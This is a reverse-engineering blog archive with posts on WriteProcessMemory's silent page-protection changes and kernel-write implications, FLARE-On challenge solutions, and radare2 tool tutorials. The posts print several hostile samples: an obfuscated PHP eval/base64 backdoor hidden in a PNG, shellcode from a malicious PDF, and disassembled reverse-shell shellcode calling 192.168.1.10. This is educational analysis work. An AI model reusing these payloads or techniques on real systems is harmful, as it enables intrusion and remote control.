Showing posts with label reverse engineering. Show all posts
Showing posts with label reverse engineering. Show all posts

Friday, August 31, 2018

About WriteProcessMemory

The contents of this post might be very well known to many people, but for me it was new and honestly, also a bit shocking so I thought I will share it, it might be useful for others as well. I came across this behaviour when I was developing a working POC code for enSilo's new TurningTables technique.

In short WriteProcessMemory will write to PAGE_EXECUTE or PAGE_EXECUTE_READ pages if you have sufficient rights (PROCESS_VM_OPERATION) to change its permissions to PAGE_EXECUTE_READWRITE. I want to highlight in the beginning that this will not bypass any built-in security feature, nor exploit anything, this is just a convenience feature.

First I will cover how it works, and at the end why.

Part 1 - How?

This is how WriteProcessMemory works in the latest Windows (1803):


First it will call NtQueryVirtualMemory to get the properties of the region.

The next step is to check if the page has any of the following protections set: PAGE_NOACCESS(0x1) | PAGE_READONLY(0x2) | PAGE_EXECUTE (0x10) | PAGE_EXECUTE_READ (0x20) 


Looking on the check bitwise:

0xcc = 1100 1100
0x1  = 0000 0001
0x2  = 0000 0010
0x10 = 0001 0000
0x20 = 0010 0000

So if we perform the TEST instruction it will set the ZF flag if one of these settings are present. If not, it will go straight to the NtWriteVirtualMemory call, which means that the page has the WRITE bit set:


If the check indicates one of the protection set above, it will do another one:


This will jump if PAGE_NOACCESS or PAGE_READONLY is set, and we get an access denied as expected:


If not, it will do another two checks:


If the page is an MEM_IMAGE (0x1000000) and if it’s MEM_PRIVATE (0x20000) - if none of them, only then it will go to the same ACCESS_DENIED routine, otherwise it will set a value into EAX. That value is eventually passed in RSI to NtProtectVirtualMemory:


Now, what are those values:
0x40 - PAGE_EXECUTE_READWRITE
0x80 - PAGE_EXECUTE_WRITECOPY
0x20000000 - MEM_LARGE_PAGES (large page support)

This means that the OS will nicely change the page protection for us to writeable, without ever giving an access denied. In case it’s an image it will set it to write-copy, which means that it will create a private copy of the image loaded for the process, so it won’t overwrite shared memory.

After this the same NtWriteVirtualMemory will be called, what is shown above. Finally the page protection will be reverted to the original. Essentially we got write access to an EXECUTABLE only page - obviously only if our process has the permission to apply those changes, so it won't bypass any protection.

On older version of Windows 10, the function is slightly different but the logic is exactly the same:


On Windows 7 or 8 the behaviour also exists but the function logic is different. It will try set the memory to PAGE_EXECUTE_READWRITE or if that fails to PAGE_READWRITE right away:


Then it will check if the old protection was either PAGE_EXECUTE_READWRITE, PAGE_READWRITE or PAGE_WRITECOPY, if yes it will go and restore the original protection (as the memory is writeable) and write to it. If not it will check if it’s PAGE_NOACCESS | PAGE_READONLY. If yes, it will go and return ACCESS_DENIED, otherwise it will call NtWriteVirtualMemory… when the page protection is set to PAGE_EXECUTE_READWRITE/PAGE_READWRITE. Again shortcut to have write access to EXECUTABLE pages.


Here is the write:


The ReactOS code will reflect this behaviour:

Yes, you could also set the page protection yourself, but the OS will nicely do it for you, so one less thing to care about when developing an exploit. In my opinion based on MSDN this should fail however (but maybe I misinterpret it):

PAGE_EXECUTE - 0x10 - Enables execute access to the committed region of pages. An attempt to write to the committed region results in an access violation.
PAGE_EXECUTE_READ - 0x20 - Enables execute or read-only access to the committed region of pages. An attempt to write to the committed region results in an access violation.

What happens if we call NtWriteVirtualMemory directly? Then it fails as expected as the page protection is not modified, for example it will fail with:

0x8000000D - STATUS_PARTIAL_COPY - Because of protection conflicts, not all the requested bytes could be copied.

Part 2 - Why?

I found many mentions here and there that this will work, but essentially I contacted Microsoft for further explanation, and I got it, and I want to thank for them for providing these insights. Basically this is done for debuggers, in case debuggers wants to write to memory, they can simply call this API and no need to care for setting page protection every single time. Here are the details:


Here is what that above site says:

"There are a bunch of functions that allow you to manipulate the address space of other processes, like Write­Process­Memory and Virtual­Alloc­Ex. Of what possible legitimate use could they be? Why would one process need to go digging around inside the address space of another process, unless it was up to no good? These functions exist for debuggers. For example, when you ask the debugger to inspect the memory of the process being debugged, it uses Read­Process­Memory to do it. Similarly, when you ask the debugger to update the value of a variable in your process, it uses Write­Process­Memory to do it. And when you ask the debugger to set a breakpoint, it uses the Virtual­Protect­Ex function to change your code pages from read-execute to read-write-execute so that it can patch an int 3 into your program. If you ask the debugger to break into a process, it can use the Create­Remote­Thread function to inject a thread into the process that immediately calls Debug­Break. (The Debug­Break­Process was subsequently added to make this simpler.) But for general-purpose programming, these functions don't really have much valid use. They tend to be used for nefarious purposes like DLL injection and cheating at video games."


UPDATE 2018.09.02. - The story gets worse

So after writing this comes Alex Ionescu and makes it even worse :D



With that, the post wouldn’t be complete without explaining what Alex Ionescu pointed out, which I think much-much worse then the first part. So while spending the weekend my brain couldn't stop thinking about this, and when the light came I reached out to Alex.

You can use this function to write to kernel pages from user mode. This sounds terrible for first, second and also third, and so on, but you will see that is not that horrible, only a little bit. :) So why this happens:

When you call WriteProcessMemory it will call ntdll!NtWriteVirtualMemory which will eventually call nt!NtWriteVirtualMemory, which in newer Win10 versions will call nt!MiReadWriteVirtualMemory. That is the point where it is checked if you come from user land and can write to the targeted memory, to avoid writing to the kernel. But what is really being checked?

1. It will check if you the API is being called from the kernel or user space (PreviousMode).
2. If you come from user mode, it will perform another check which is verifying the address range you are trying to write to, based on the MmUserProbeAddress variable, which points to the end of the user address space. On x64 machines this is a hardcoded value in the code, so there is no actual variable, as you can see below in IDA.


Here is the related ReactOS code snippet for easier understanding (which reflects older Windows versions, but the idea is the same):

https://doxygen.reactos.org/d2/dfa/ntoskrnl_2mm_2ARM3_2virtual_8c_source.html#l02805

 2820    if (PreviousMode != KernelMode)
 2821     {
 2822         //
 2823         // Validate the read addresses
 2824         //
 2825         if ((((ULONG_PTR)BaseAddress + NumberOfBytesToWrite) < (ULONG_PTR)BaseAddress) ||
 2826             (((ULONG_PTR)Buffer + NumberOfBytesToWrite) < (ULONG_PTR)Buffer) ||
 2827             (((ULONG_PTR)BaseAddress + NumberOfBytesToWrite) > MmUserProbeAddress) ||
 2828             (((ULONG_PTR)Buffer + NumberOfBytesToWrite) > MmUserProbeAddress))
 2829         {

If you pass these checks the write will happen.

For kernel exploit writers the flaw is probably obvious at this point if you think about the classic SMEP bypass:
https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
—> from page 31

Here is the issue in short:
If you can set the U/S (owner) bit to 0 (clear) in a PTE entry, it will mean that the page belongs to the kernel. Normally you don’t have any kernel pages in the user address space but if you manage to mess with the PTE (with a kernel exploit), you can have, and it will be valid - you can make a user page to being a kernel page. If that happens, you can use WriteProcessMemory to write to those pages as the actual PTE flag is not verified, which means that you write kernel pages from user mode.

Obviously this doesn’t happen normally, but still…

Additionally in older systems you could modify (for example with a w-w-w kernel exploit) the MmUserProbeAddress and set it to the end of the kernel address space, and at that point you also bypassed the verification, and you have a very nice R/W access to kernel space. Also: https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ These days you would need to patch the actual code, which is protected by the HVCI, PG, so it’s not really possible unless you exploit the hypervisor.

Overall potentially you can have write access to kernel address space from user mode, but not by default, and not in a straightforward way.


I want to thank again to Alex first for pointing this out, and than talking through this whole stuff with me.

Tuesday, December 16, 2014

FireEye's FLARE ON challenge solution 5.

C5

I used Ida Pro Free 5 to solve this. Once loaded I started to look around. I found that the "GetAsyncKeyState" leads to something interesting.


This is what we get when we go to the function which calls it:


Basically it's a huge jump tree, where it will jump based on the hit keystrokes:


At the bottom we find a function for each key:


Most of the look like this, they call a single function:

That function sets a bunch of variables, later these turn out to be represent states:


There are other functions for keystrokes, which look like the following:


It checks if a given variable is 0 or not, if yes, in this case it checks another one, and if that is also 0 t will call the very same initialization function I showed before, and if not 0, then it will set another variable to 1 and reset the currently interested one. This specific function is called when we press "0" as seen at the bottom.

What we can do from here is to try to navigate through the state graph back and forth, because we don't know where are we. First I started to go backwards, with finding out who change the state of the variable looked here. I was also started to give names to the functions and variables.

Then I moved forward with looking which is the next function looks into the set variable. This can be done with the menu "Jump to xref to operand":


Then select the next function (sub_10009B10 in this case):


At the end we can find that the keystroke sequence tracked is: l0ggingdoturdot5tr0ke5atflaredashondotcom

Which translates to: l0gging.ur.5tr0ke5@flare-on.com


Wednesday, November 26, 2014

FireEye's FLARE ON challenge solutions 1-4.

Here are my solutions for FireEye's FLARE On challenges, which you can download from here:

http://www.flare-on.com/

C1

This is a .NET executable, I used ILSpy to decompile the app. There was a decode function, which decoded the Resources.dat_secret byte stream:




 We could export the stream with clicking on the Resources item, and then save it.


I used the following short Python script to decode the encoded text, basically I rewrote the C# code to Python.

f = open("rev_challenge_1.dat_secret.encode", "rb")
byte = ""
try:
byte += f.read(31)
finally:
f.close()
dat_secret = byte
text = ""
for i in range(len(dat_secret)):
b = dat_secret[i]
text += chr((ord(b) >> 4 | (ord(b) << 4 & 240)) ^ 41)
text += "\x00"
print text

The solution to this was: 3rmahg3rd.b0b.d0ge@flare-on.com

C2

This contained a flare-on.png file, which contained a PHP code appended to the file.


This was a multi-level obfuscated PHP. The original from the image:

<?php
$terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");
$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
$do_me="";
for($i=0;$i<count($order);$i++)
{
$do_me=$do_me.$terms[$order[$i]];
}

$do_me contained:

$_='aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';
$__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';
$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
//echo ($___($__));

Then:

$code=base64_decode($_);
//print $code;

if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"]))
{
 eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"]));
}

Printing the string with Python:

a = chr(97)+chr(49)+chr(49)+chr(68)+chr(0x4F)+chr(84)+chr(116)+chr(0x68)+chr(97)+chr(0x74)+chr(0x44)+chr(0x4F)+chr(0x54)+chr(0x6A)+chr(97)+chr(0x76)+chr(0x61)+chr(0x35)+chr(0x63)+chr(0x72)+chr(97)+chr(0x70)+chr(0x41)+chr(84)+chr(0x66)+chr(0x6C)+chr(97)+chr(0x72)+chr(0x65)+chr(0x44)+chr(65)+chr(0x53)+chr(72)+chr(111)+chr(110)+chr(68)+chr(79)+chr(84)+chr(99)+chr(0x6F)+chr(0x6D)
print a

Was: a11DOTthatDOTjava5crapATflareDASHonDOTcom, which is:
a11.that.java5crap@flare-on.com

C3

This is an executable with a bunch of self decoding XOR blocks, we can solve it with stepping through the code, and watching the dump. The program starts here, and we step into the CALL.


Then it will push a bunch of stuff on the stack:


Continue until:


We step into the CALL and the XOR fun begins. The blocks always decode the next memory area after them. 1st block:


Next:


One more:


And one more:


There will be more, but the email address shows up right after this XOR block, as you can see in the dump:


0012FEA3                    73 75        su
0012FEAB  63 68 2E 35 68 33 31 31  ch.5h311
0012FEB3  30 31 30 31 30 31 40 66  010101@f
0012FEBB  6C 61 72 65 2D 6F 6E 2E  lare-on.
0012FEC3  63 6F 6D                 com

ch.5h311010101@flare-on.com

C4

This is a PDF, which contained an exploit, which contained the shellcode.

We can quickly see that there is a JavaScript inside:

root@kali:~# pdfid APT9001.pdf 
PDFiD 0.0.12 APT9001.pdf
 PDF Header: %PDF-1.5
 obj                   10
 endobj                 9
 stream                 3
 endstream              3
 xref                   2
 trailer                2
 startxref              2
 /Page                  3(2)
 /Encrypt               0
 /ObjStm                0
 /JS                    1(1)
 /JavaScript            1(1)
 /AA                    0
 /OpenAction            1(1)
 /AcroForm              0
 /JBIG2Decode           1(1)
 /RichMedia             0
 /Launch                0
 /EmbeddedFile          0
 /Colors > 2^24         0

Let's search for it, and extract it:

root@kali:~# pdf-parser -s javascript APT9001.pdf 
obj 5 0
 Type: /Action
 Referencing: 6 0 R

  <<

    /Type /Action
    /S /JavaScript
    /JS 6 0 R
  >>


root@kali:~# pdf-parser -o 6 APT9001.pdf 

obj 6 0
 Type: 
 Referencing: 
 Contains stream

  <<

    /Length 6170
    /Filter '[  \r\n /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]'
  >>


root@kali:~# pdf-parser -o 6 -d APT9001.js -f APT9001.pdf 

obj 6 0
 Type: 
 Referencing: 
 Contains stream

  <<

    /Length 6170
    /Filter '[  \r\n /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]'
  >>

If we open the JavaScript file, we can quickly find the shellcode:

%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff

I convert it to an executable with the tools in REMnux:

remnux@remnux:~$ unicode2hex-escaped < sc.txt > sc2.txt
remnux@remnux:~$ shellcode2exe -s sc2.txt 
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Reading string shellcode from file sc2.txt

Generating executable file
Writing file sc2.exe
Done.
remnux@remnux:~$ 

We can see that the shellcode puts something on the stack:


Which is:



wa1ch.d3m.spl01ts@flare-on.com






Sunday, March 16, 2014

radare2 reverse engineering framework: rax2

rax2 utility comes along with the radare2 framework, and it's a simple conversion utility, it can convert between binary, decimal, hex, string, etc... You can find examples in the help menu for each option:

root@kali:~# rax2 -h
Usage: rax2 [options] [expression]
  int   ->  hex           ;  rax2 10
  hex   ->  int           ;  rax2 0xa
  -int  ->  hex           ;  rax2 -77
  -hex  ->  int           ;  rax2 0xffffffb3
  int   ->  bin           ;  rax2 b30
  bin   ->  int           ;  rax2 1010d
  float ->  hex           ;  rax2 3.33f
  hex   ->  float         ;  rax2 Fx40551ed8
  oct   ->  hex           ;  rax2 35o
  hex   ->  oct           ;  rax2 Ox12 (O is a letter)
  bin   ->  hex           ;  rax2 1100011b
  hex   ->  bin           ;  rax2 Bx63
  -e    swap endianness   ;  rax2 -e 0x33
  -b    binstr -> bin     ;  rax2 -b 01000101 01110110
  -s    hexstr -> bin     ;  rax2 -s 43 4a 50
  -S    bin -> hexstr     ;  rax2 -S C  J  P
  -v    version           ;  rax2 -V
  -x    hash string       ;  rax2 -x linux osx
  -k    keep base         ;  rax2 -k 33+3 -> 36
  -h    help              ;  rax2 -h


E.g.:

root@kali:~# rax2 0x33
51
root@kali:~# rax2 Fx33
51.000000f
root@kali:~# rax2 -b 01000101 01110110
Ev

root@kali:~# rax2 -s 43 4a 50
CJP

root@kali:~#

radare2 reverse engineering framework: rasm2

radare and the new radare2 are an open source reverse engineering framework, which can be found here:

http://radare.org/y/

It has quite a few tools, and the webpage has excellent documentation, which is pretty good. In this post I want to review the "rasm2" assembler / disassembler utility, which is one of the main tools in the package. It can work on hex streams, files, opcodes, etc... quite a few options, as we can see from the help:

root@kali:~# rasm2 -h
rasm2 [-e] [-o offset] [-a arch] [-s syntax] -d "opcode"|"hexpairs"|- [-f file ..]
 -d           Disassemble from hexpair bytes
 -D           Disassemble showing hexpair and opcode
 -f           Read data from file
 -F [in:out]  Specify input and/or output filters (att2intel, x86.pseudo, ...)
 -o [offset]  Set start address for code (0x08048000)
 -a [arch]    Set architecture plugin
 -b [bits]    Set architecture bits
 -s [syntax]  Select syntax (intel, att)
 -B           Binary input/output (-l is mandatory for binary input)
 -l [int]     Input/Output length
 -C           Output in C format
 -L           List supported asm plugins
 -e           Use big endian
 -v           Show version information
 If '-l' value is greater than output length, output is padded with nops
 If the last argument is '-' reads from stdin

Here are just a few random disassemble examples:

root@kali:~# rasm2 -d 90
nop
root@kali:~# rasm2 -d 53
push ebx
root@kali:~# rasm2 -d 44
inc esp


We can also reverse it:

root@kali:~# rasm2 "nop"
90
root@kali:~# rasm2 "nop;inc esp;push ebx"
904453


It supports quite a few formats:

root@kali:~# rasm2 -L
ad  arm       ARM disassembly plugin
ad  armthumb  ARM THUMB disassembly plugin
_d  avr       AVR Atmel disassembler
ad  bf        Brainfuck disassembly plugin
_d  csr       CSR disassembly plugin
ad  dalvik    Dalvik (Android VM) disassembly plugin
ad  java      Java CLASS assembler/disassembler
_d  mips      MIPS disassembly plugin
_d  msil      MSIL disassembly plugin
_d  ppc       PPC disassembly plugin
_d  sh        SH-4 disassembly plugin
_d  sparc     SPARC disassembly plugin
_d  x86       udis86 disassembly plugin
a_  x86.nz    x86 assembler with non-zeros
ad  x86.olly  X86 disassembly plugin (olly engine)


It's very useful for shellcode analysis. I took the following as an example:


Although the assembly is on the site, but rasm2 can also show it nicely:

root@kali:~# rasm2 -d 31c031db31c931d2b066b301516a066a016a0289e1cd8089c6b06631dbb30268c0a8010a66687a696653fec389e16a10515689e1cd8031c9b103fec9b03fcd8075f831c052686e2f7368682f2f626989e3525389e15289e2b00bcd80
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 0x66
mov bl, 0x1
push ecx
push 0x6
push 0x1
push 0x2
mov ecx, esp
int 0x80
mov esi, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x2
push dword 0xa01a8c0
push word 0x697a
push bx
inc bl
mov ecx, esp
push 0x10
push ecx
push esi
mov ecx, esp
int 0x80
xor ecx, ecx
mov cl, 0x3
dec cl
mov al, 0x3f
int 0x80
jnz 0x804803a
xor eax, eax
push edx
push dword 0x68732f6e
push dword 0x69622f2f
mov ebx, esp
push edx
push ebx
mov ecx, esp
push edx
mov edx, esp
mov al, 0xb
int 0x80


We can also specify an offset if we now where the given command will be in memory:

root@kali:~# rasm2 -o 0x8048060 "call 0x09080706"
e8a1860301
root@kali:~# rasm2 -o 0x8048060 -d e8a1860301
call dword 0x9080706